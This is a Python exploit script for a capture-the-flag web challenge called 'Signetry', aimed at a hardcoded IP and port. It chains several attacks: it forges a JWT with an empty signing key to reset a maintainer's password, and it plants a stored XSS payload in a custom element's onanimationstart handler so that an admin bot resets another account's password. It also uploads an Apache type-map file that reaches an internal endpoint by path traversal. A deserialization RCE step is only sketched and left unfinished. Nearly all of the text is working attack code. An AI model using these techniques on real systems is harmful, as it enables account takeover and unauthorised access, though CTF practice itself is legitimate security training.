Signetry (Web Hard) - Steps 1-6 exploit, need step 7 DL4J RCE

exploit.py

#!/usr/bin/env python3
"""Signetry CTF exploit chain
Vulnerabilities:
1. QOR auth default empty signing key -> JWT forgery -> maintainer password reset
2. Apache type-map with relative path traversal -> bypass /internal rewrite rule
3. XSS via custom element (web component) in appeal body -> warden reissues conservator credentials
4. DL4J deserialization via configuration.json Jackson polymorphic typing -> RCE
"""

import hmac, hashlib, base64, json, time, sys, struct, io, zipfile, requests

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://154.57.164.76:32741"

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def forge_jwt(uid):
    """Forge a JWT with QOR auth's default empty signing key"""
    header = {'alg': 'HS256', 'typ': 'JWT'}
    payload = {'jti': uid, 'iat': int(time.time()), 'exp': int(time.time()) + 3600}
    h_b64 = b64url(json.dumps(header, separators=(',',':')).encode())
    p_b64 = b64url(json.dumps(payload, separators=(',',':')).encode())
    signing_input = f'{h_b64}.{p_b64}'
    sig = hmac.new(b'', signing_input.encode(), hashlib.sha256).digest()
    return f'{signing_input}.{b64url(sig)}'

# ── Step 1: Forge JWT and reset maintainer password ──
print("[*] Step 1: Forging JWT for dms@htb.com password reset")
forged_jwt = forge_jwt("dms@htb.com")
new_maintainer_pwd = "ExPlo1tPwd2026!!"
resp = requests.post(f"{TARGET}/auth/password/update", json={
    "reset_password_token": forged_jwt,
    "new_password": new_maintainer_pwd,
})
print(f"    Reset: {resp.status_code} {resp.text}")
if resp.status_code != 200:
    print("[-] Password reset failed")
    sys.exit(1)
print("[+] Maintainer password reset")

# ── Step 2: Login as maintainer ──
print("\n[*] Step 2: Login as dms@htb.com")
s = requests.Session()
resp = s.post(f"{TARGET}/api/login", json={"login": "dms@htb.com", "password": new_maintainer_pwd})
print(f"    Login: {resp.status_code}")
if resp.status_code != 200:
    print("[-] Login failed")
    sys.exit(1)
session_token = resp.json()["session"]
s.cookies.set("cs_session", session_token)
resp = s.get(f"{TARGET}/api/whoami")
print(f"    Whoami: {resp.text}")

# ── Step 3: Submit XSS appeal ──
print("\n[*] Step 3: Submitting XSS appeal")
conservator_pwd = "HackedCons2026!!"

# XSS via custom element (web component): html-react-parser skips attributesToProps
# for custom elements (tag with hyphen), passing raw HTML attributes as React props.
# React sets unknown on* props as DOM attributes for custom elements.
# CSS animation triggers animationstart event, executing the inline handler.
# CSP script-src-attr 'unsafe-inline' allows it.
js_payload = (
    "fetch('/admin/credential/reset',"
    "{method:'POST',"
    "headers:{'Content-Type':'application/json'},"
    "body:JSON.stringify({uid:'conservator@htb.com',"
    f"new_password:'{conservator_pwd}'"
    "})})"
)
xss_body = (
    '<style>@keyframes pwn{from{opacity:1}to{opacity:1}}</style>'
    f'<x-y style="animation:pwn 1s" onanimationstart="{js_payload}">.</x-y>'
)
resp = s.post(f"{TARGET}/api/appeals", json={"body": xss_body})
print(f"    Appeal: {resp.status_code} {resp.text}")
if resp.status_code != 200:
    print("[-] Appeal submission failed")
    sys.exit(1)
print("[+] XSS appeal submitted")

# ── Step 4: Trigger warden dispatch via Apache type-map ──
print("\n[*] Step 4: Triggering warden dispatch via type-map")
# Upload .var type-map with relative path traversal to /internal/dispatch
# Apache subrequest bypasses RewriteRule (IS_SUBREQ=true)
# Relative path ../internal/dispatch resolves through proxy to Go backend
var_content = b"URI: ../internal/dispatch\nContent-type: application/json\n\n"
resp = s.post(f"{TARGET}/api/attachments?name=trigger.var",
              data=var_content, headers={"Content-Type": "application/octet-stream"})
print(f"    Upload .var: {resp.status_code} {resp.text}")

# Trigger the type-map
resp = requests.get(f"{TARGET}/uploads/trigger.var", headers={"Accept": "*/*"})
print(f"    Trigger: {resp.status_code} {resp.text[:100]}")
if resp.status_code == 202:
    print("[+] Dispatch triggered, warden will visit /admin")
else:
    print("[!] Dispatch may not have triggered, retrying...")
    resp = requests.get(f"{TARGET}/uploads/trigger.var")
    print(f"    Retry: {resp.status_code} {resp.text[:100]}")

# ── Step 5: Wait for warden to execute XSS ──
print("\n[*] Step 5: Waiting for warden bot cycle (12s)...")
time.sleep(12)

# ── Step 6: Login as conservator ──
print("\n[*] Step 6: Login as conservator@htb.com")
s2 = requests.Session()
for attempt in range(3):
    resp = s2.post(f"{TARGET}/api/login", json={
        "login": "conservator@htb.com", "password": conservator_pwd
    })
    print(f"    Attempt {attempt+1}: {resp.status_code} {resp.text}")
    if resp.status_code == 200:
        break
    # Re-trigger dispatch and wait
    print("    Re-triggering dispatch...")
    requests.get(f"{TARGET}/uploads/trigger.var")
    time.sleep(10)

if resp.status_code != 200:
    print("[-] Could not login as conservator. XSS may not have executed.")
    sys.exit(1)

conservator_session = resp.json()["session"]
s2.cookies.set("cs_session", conservator_session)
resp = s2.get(f"{TARGET}/api/whoami")
print(f"    Whoami: {resp.text}")
print("[+] Logged in as conservator (curator)")

# ── Step 7: Stage a malicious DL4J model ──
print("\n[*] Step 7: Staging malicious DL4J model")

# Create a minimal valid DL4J model zip with configuration.json + coefficients.bin
# The model needs to pass the Go review (only canonical files) and
# DL4JModelValidator.validateMultiLayerNetwork (valid config)

# Build a minimal configuration.json that DL4J can parse
config_json = json.dumps({
    "backprop": True,
    "backpropType": "Standard",
    "tbpttFwdLength": 20,
    "tbpttBackLength": 20,
    "confs": [{
        "cacheMode": "NONE",
        "layer": {
            "OutputLayer": {
                "nIn": 4,
                "nOut": 2,
                "activationFn": {"Identity": {}},
                "lossFn": {"MSE": {}},
                "weightInit": "XAVIER",
                "biasInit": 0.0,
                "hasBias": True,
            }
        },
        "stepFunction": "org.deeplearning4j.nn.conf.stepfunctions.DefaultStepFunction",
        "variables": ["0_W", "0_b"],
    }],
    "inputPreProcessors": {},
})

# Create a minimal coefficients.bin (just zeros for the parameters)
# OutputLayer with nIn=4, nOut=2: W is 4x2=8 floats, b is 2 floats = 10 floats total
# ND4J binary format: header (int rank, int length, int[] shape, byte datatype) + data
# Actually, let's try an empty/minimal coefficients
import struct
# ND4J array format (simplified): magic, rank, shape, dtype, data
# For a 1D array of 10 floats:
coeff_data = b'\x00' * 80  # Just zeros, 10 float64 = 80 bytes

# Build zip with only configuration.json and coefficients.bin
model_zip = io.BytesIO()
with zipfile.ZipFile(model_zip, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr("configuration.json", config_json)
    zf.writestr("coefficients.bin", coeff_data)
model_bytes = model_zip.getvalue()

# Stage the model (as maintainer)
resp = s.post(f"{TARGET}/stage", data=model_bytes, headers={"Content-Type": "application/zip"})
print(f"    Stage: {resp.status_code} {resp.text}")
if resp.status_code != 200:
    print("[-] Staging failed")
    sys.exit(1)
token = resp.json()["token"]
print(f"    Token: {token}")

# ── Step 8: Seal the model ──
print("\n[*] Step 8: Sealing model")
resp = s.post(f"{TARGET}/seal", json={"token": token})
print(f"    Seal: {resp.status_code} {resp.text}")
if resp.status_code != 200:
    print("[-] Seal failed (review rejected the model)")
    # Print findings if any
    if "findings" in resp.text:
        print(f"    Findings: {resp.json().get('findings', [])}")

# ── Step 9: Finalize as conservator ──
print("\n[*] Step 9: Finalizing model as conservator")
resp = s2.post(f"{TARGET}/finalize", json={"token": token})
print(f"    Finalize: {resp.status_code} {resp.text}")

print("\n[*] Done. Check output for flag or next steps.")